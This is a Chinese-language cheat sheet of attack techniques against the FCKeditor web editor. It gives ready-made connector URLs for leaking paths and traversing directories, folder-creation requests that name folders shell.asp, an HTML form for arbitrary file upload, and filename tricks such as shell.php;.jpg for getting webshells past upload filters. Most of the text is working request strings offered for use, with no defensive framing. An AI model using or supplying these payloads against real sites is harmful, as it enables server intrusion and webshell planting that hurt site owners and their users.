1、查看编辑器版本

/fckeditor/editor/dialog/fck_about.html

2、爆绝对路径

FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通杀)

/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx 2.5可突破

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

3、遍历目录

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../

Version 2.4.1 测试通过

修改CurrentFolder 参数使用 ../../来进入不同的目录：

/browser/default/connectors/aspx/connector.aspx？Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接浏览盘符：

JSP 版本：

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

4、jsp上传
/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

5、Version < =2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。

<form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form>

6、 FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。试试上传1.asp;jpg
6.1：提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件未测试。
6.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。

7、突破建立文件夹
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

8、 FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

9、最古老的漏洞，Type文件没有限制！

我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！

10、browser

FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

11、本地构造test文件
